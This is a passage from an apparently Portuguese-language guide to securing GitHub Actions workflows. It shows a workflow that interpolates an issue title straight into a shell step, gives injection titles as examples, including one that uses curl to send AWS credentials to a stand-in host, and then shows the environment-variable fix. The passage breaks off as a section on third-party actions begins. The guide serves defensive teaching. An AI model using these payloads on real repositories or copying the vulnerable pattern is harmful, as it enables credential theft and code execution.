Quando usamos GitHub Actions, estamos executando código automaticamente dentro de um ambiente de CI/CD. Isso significa que qualquer vulnerabilidade pode ser explorada para comprometer seu repositório, suas credenciais e até sua infraestrutura. Aqui estão algumas práticas essenciais para manter seus workflows seguros.

Script Injection

O exemplo abaixo contém uma vulnerabilidade de injeção de script, onde um atacante pode manipular um valor externo (como o título de um issue) e executar comandos não autorizados.

name: Label Issues (Script Injection Example)
on:  
	issues:    
		types:      
			- opened
jobs:  
	assign-label:    
		runs-on: ubuntu-latest    
		steps:      
			- name: Assign label        
				run: |          
					issue_title="${{ github.event.issue.title }}"          
					if [[ "$issue_title" == *"bug"* ]]; then          
					echo "Issue is about a bug!"          
					else          
					echo "Issue is not about a bug"          
					fi

Se um atacante criar um issue com o seguinte título:

<aside> 💡

a"; echo Got your Secrets"

</aside>

Isso fecha a string, inicia um novo comando (echo Got your Secrets) e pode ser usado para roubar variáveis secretas ou executar código malicioso no runner do GitHub Actions.

Exemplo mais perigoso:

<aside> 💡

a"; curl <http://malicioso.com?secrets=$AWS_ACCESS_KEY_ID>"

</aside>

Isso poderia enviar suas credenciais AWS para um servidor externo.

Para evitar isso, nunca passe valores externos diretamente para comandos shell. Use variáveis de ambiente, que são tratadas como strings seguras.

name: Label Issues (Script Injection Example)
on:  
	issues:    
		types:      
			- opened
jobs:  
	assign-label:    
		runs-on: ubuntu-latest    
		steps:      
			- name: Assign label        
				env: 
					TITLE: ${{ github.event.issue.title }}
				run: |          
					if [[ "$TITLE" == *"bug"* ]]; then          
					echo "Issue is about a bug!"          
					else          
					echo "Issue is not about a bug"          
					fi

Agora, $TITLE será tratado como uma string literal dentro do shell, eliminando o risco de execução de código malicioso.


Third-Party Actions

Actions podem executar qualquer lógica, incluindo maliciosas. Um action pode: